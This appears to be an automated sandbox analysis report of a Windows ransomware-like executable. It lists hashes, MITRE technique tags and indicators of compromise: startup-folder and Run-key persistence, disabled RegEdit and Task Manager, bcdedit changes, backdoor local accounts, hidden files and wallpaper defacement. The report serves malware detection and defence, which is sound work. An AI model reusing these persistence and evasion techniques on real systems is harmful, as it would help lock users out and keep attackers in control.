74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/07/2026, 07:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Size 8.7MB
Sample260715-httr2ahs5v
SHA256 74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9
MD5 10d7b11c49ce9ddae3007238861cf236
SHA1 46396fcb47dbbbab48478eda0060c305aec06c21
SHA512 968197ebf5a072f5a45a5b555c03356d235627101f55b4e18ece876f40741d583b2399dfee38428088f8aebbe88d02c6aaadbca980e509852cf7dd5ea18564cc
SSDEEP 196608:j9rbh7GJtlZihUGhLBc/0rrPJBVmxaTMtOqYfDe3YVD/QSioSsTTEEzx:jdWzGhK/0XPJBVmxa43YDSY
TLSH
T11F963325B32481E9E82744B678956783F196F1C60F24C7EF4B718BB26E139D0B93CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery persistence ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malware.vbs	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Loads dropped DLL 64 IoCs

pid	Process
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~1\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~2\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~3\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~4\\NoComputer.py\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Malware = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\ON174B~1\\NoComputer.py\""	reg.exe

Modifies boot configuration data using bcdedit 6 IoCs

pid	Process
2420	bcdedit.exe
1892	bcdedit.exe
432	bcdedit.exe
1472	bcdedit.exe
1472	bcdedit.exe
4844	bcdedit.exe

Creates a new local user account 1 TTPs 30 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4056	net.exe
4296	net.exe
3224	net.exe
3724	net.exe
800	net1.exe
3952	net.exe
4516	net1.exe
2972	net.exe
2136	net1.exe
2040	net1.exe
5100	net.exe
1516	net.exe
5792	net.exe
1340	net1.exe
1248	net.exe
4836	net.exe
5804	net1.exe
2080	net1.exe
2836	net1.exe
1740	net1.exe
784	net1.exe
1884	net1.exe
3548	net1.exe
2636	net1.exe
3092	net.exe
4464	net.exe
4152	net1.exe
4832	net.exe
4820	net1.exe
1936	net.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\System32\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\System32\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\System32\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\System32\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
File opened for modification	C:\Windows\System32\clean.txt	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4952	cmd.exe
3268	cmd.exe
4524	cmd.exe
2188	cmd.exe
4324	cmd.exe
3584	cmd.exe
4548	cmd.exe
4984	cmd.exe
4484	cmd.exe
2352	cmd.exe
2244	cmd.exe
3176	cmd.exe
4560	cmd.exe
3988	cmd.exe
4616	cmd.exe
1512	cmd.exe
3964	cmd.exe
3388	cmd.exe
2300	cmd.exe
2760	cmd.exe
2308	cmd.exe
4720	cmd.exe
3172	cmd.exe
1408	cmd.exe
700	cmd.exe
1032	cmd.exe
3392	cmd.exe
3192	cmd.exe
3276	cmd.exe
592	cmd.exe
3736	cmd.exe
4128	cmd.exe
3428	cmd.exe
1692	cmd.exe
1580	cmd.exe
1508	cmd.exe
4900	cmd.exe
3636	cmd.exe
3896	cmd.exe
2592	cmd.exe
3188	cmd.exe
1600	cmd.exe
960	cmd.exe
208	cmd.exe
540	cmd.exe
3540	cmd.exe
2304	cmd.exe
4020	cmd.exe
1988	cmd.exe
3212	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 6 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\black_wallpaper.bmp"	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Modifies registry key 1 TTPs 64 IoCs

Modify Registry

T1112

pid	Process
5560	reg.exe
3048	reg.exe
5860	reg.exe
5204	reg.exe
2024	reg.exe
3228	reg.exe
3640	reg.exe
5124	reg.exe
2612	reg.exe
5892	reg.exe
984	reg.exe
3156	reg.exe
5764	reg.exe
2668	reg.exe
3088	reg.exe
4928	reg.exe
2612	reg.exe
2524	reg.exe
5844	reg.exe
1080	reg.exe
2612	reg.exe
5652	reg.exe
2284	reg.exe
512	reg.exe
5380	reg.exe
4508	reg.exe
1228	reg.exe
5828	reg.exe
1836	reg.exe
5860	reg.exe
4152	reg.exe
2940	reg.exe
5612	reg.exe
6068	reg.exe
2136	reg.exe
5576	reg.exe
5152	reg.exe
3732	reg.exe
2796	reg.exe
2888	reg.exe
5836	reg.exe
1080	reg.exe
5144	reg.exe
4488	reg.exe
3128	reg.exe
5892	reg.exe
5408	reg.exe
4504	reg.exe
2556	reg.exe
5708	reg.exe
5612	reg.exe
5784	reg.exe
4372	reg.exe
4840	reg.exe
1840	reg.exe
5816	reg.exe
1064	reg.exe
3948	reg.exe
5208	reg.exe
1064	reg.exe
5880	reg.exe
4836	reg.exe
6132	reg.exe
5676	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2556	WMIC.exe
Token: SeSecurityPrivilege	2556	WMIC.exe
Token: SeTakeOwnershipPrivilege	2556	WMIC.exe
Token: SeLoadDriverPrivilege	2556	WMIC.exe
Token: SeSystemProfilePrivilege	2556	WMIC.exe
Token: SeSystemtimePrivilege	2556	WMIC.exe
Token: SeProfSingleProcessPrivilege	2556	WMIC.exe
Token: SeIncBasePriorityPrivilege	2556	WMIC.exe
Token: SeCreatePagefilePrivilege	2556	WMIC.exe
Token: SeBackupPrivilege	2556	WMIC.exe
Token: SeRestorePrivilege	2556	WMIC.exe
Token: SeShutdownPrivilege	2556	WMIC.exe
Token: SeDebugPrivilege	2556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2556	WMIC.exe
Token: SeRemoteShutdownPrivilege	2556	WMIC.exe
Token: SeUndockPrivilege	2556	WMIC.exe
Token: SeManageVolumePrivilege	2556	WMIC.exe
Token: 33	2556	WMIC.exe
Token: 34	2556	WMIC.exe
Token: 35	2556	WMIC.exe
Token: 36	2556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2556	WMIC.exe
Token: SeSecurityPrivilege	2556	WMIC.exe
Token: SeTakeOwnershipPrivilege	2556	WMIC.exe
Token: SeLoadDriverPrivilege	2556	WMIC.exe
Token: SeSystemProfilePrivilege	2556	WMIC.exe
Token: SeSystemtimePrivilege	2556	WMIC.exe
Token: SeProfSingleProcessPrivilege	2556	WMIC.exe
Token: SeIncBasePriorityPrivilege	2556	WMIC.exe
Token: SeCreatePagefilePrivilege	2556	WMIC.exe
Token: SeBackupPrivilege	2556	WMIC.exe
Token: SeRestorePrivilege	2556	WMIC.exe
Token: SeShutdownPrivilege	2556	WMIC.exe
Token: SeDebugPrivilege	2556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2556	WMIC.exe
Token: SeRemoteShutdownPrivilege	2556	WMIC.exe
Token: SeUndockPrivilege	2556	WMIC.exe
Token: SeManageVolumePrivilege	2556	WMIC.exe
Token: 33	2556	WMIC.exe
Token: 34	2556	WMIC.exe
Token: 35	2556	WMIC.exe
Token: 36	2556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1568	WMIC.exe
Token: SeSecurityPrivilege	1568	WMIC.exe
Token: SeTakeOwnershipPrivilege	1568	WMIC.exe
Token: SeLoadDriverPrivilege	1568	WMIC.exe
Token: SeSystemProfilePrivilege	1568	WMIC.exe
Token: SeSystemtimePrivilege	1568	WMIC.exe
Token: SeProfSingleProcessPrivilege	1568	WMIC.exe
Token: SeIncBasePriorityPrivilege	1568	WMIC.exe
Token: SeCreatePagefilePrivilege	1568	WMIC.exe
Token: SeBackupPrivilege	1568	WMIC.exe
Token: SeRestorePrivilege	1568	WMIC.exe
Token: SeShutdownPrivilege	1568	WMIC.exe
Token: SeDebugPrivilege	1568	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1568	WMIC.exe
Token: SeRemoteShutdownPrivilege	1568	WMIC.exe
Token: SeUndockPrivilege	1568	WMIC.exe
Token: SeManageVolumePrivilege	1568	WMIC.exe
Token: 33	1568	WMIC.exe
Token: 34	1568	WMIC.exe
Token: 35	1568	WMIC.exe
Token: 36	1568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1568	WMIC.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3376	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3464	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
2676	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
3360	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
5384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
5384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 3384	4688	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	87
PID 3384 wrote to memory of 700	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	88
PID 700 wrote to memory of 1080	700	cmd.exe	90
PID 3384 wrote to memory of 4548	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	91
PID 4548 wrote to memory of 3324	4548	cmd.exe	93
PID 3384 wrote to memory of 592	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	94
PID 592 wrote to memory of 1824	592	cmd.exe	96
PID 3384 wrote to memory of 1408	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	97
PID 1408 wrote to memory of 3792	1408	cmd.exe	99
PID 3384 wrote to memory of 4984	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	100
PID 4984 wrote to memory of 832	4984	cmd.exe	102
PID 3384 wrote to memory of 3636	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	103
PID 3636 wrote to memory of 464	3636	cmd.exe	105
PID 3384 wrote to memory of 4484	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	106
PID 4484 wrote to memory of 3996	4484	cmd.exe	108
PID 3384 wrote to memory of 3212	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	109
PID 3212 wrote to memory of 1084	3212	cmd.exe	112
PID 3384 wrote to memory of 3964	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	113
PID 3964 wrote to memory of 1784	3964	cmd.exe	115
PID 3384 wrote to memory of 2352	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	116
PID 2352 wrote to memory of 1764	2352	cmd.exe	118
PID 3384 wrote to memory of 4952	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	119
PID 4952 wrote to memory of 3124	4952	cmd.exe	121
PID 3384 wrote to memory of 3268	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	122
PID 3268 wrote to memory of 3120	3268	cmd.exe	124
PID 3384 wrote to memory of 3388	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	125
PID 3388 wrote to memory of 4044	3388	cmd.exe	127
PID 3384 wrote to memory of 3896	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	128
PID 3896 wrote to memory of 3472	3896	cmd.exe	130
PID 3384 wrote to memory of 2592	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	131
PID 2592 wrote to memory of 3600	2592	cmd.exe	133
PID 3384 wrote to memory of 3736	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	134
PID 3736 wrote to memory of 3960	3736	cmd.exe	136
PID 3384 wrote to memory of 1032	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	137
PID 1032 wrote to memory of 4740	1032	cmd.exe	139
PID 3384 wrote to memory of 2244	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	140
PID 2244 wrote to memory of 1072	2244	cmd.exe	142
PID 3384 wrote to memory of 4524	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	143
PID 4524 wrote to memory of 5040	4524	cmd.exe	145
PID 3384 wrote to memory of 4128	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	146
PID 4128 wrote to memory of 4328	4128	cmd.exe	148
PID 3384 wrote to memory of 3392	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	149
PID 3392 wrote to memory of 1988	3392	cmd.exe	151
PID 3384 wrote to memory of 3428	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	152
PID 3428 wrote to memory of 4912	3428	cmd.exe	154
PID 3384 wrote to memory of 4720	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	155
PID 4720 wrote to memory of 2040	4720	cmd.exe	157
PID 3384 wrote to memory of 4560	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	158
PID 4560 wrote to memory of 4900	4560	cmd.exe	160
PID 3384 wrote to memory of 3988	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	161
PID 3988 wrote to memory of 4996	3988	cmd.exe	163
PID 3384 wrote to memory of 3176	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	164
PID 3176 wrote to memory of 1600	3176	cmd.exe	166
PID 3384 wrote to memory of 3172	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	167
PID 3172 wrote to memory of 2668	3172	cmd.exe	169
PID 3384 wrote to memory of 2300	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	170
PID 2300 wrote to memory of 1516	2300	cmd.exe	172
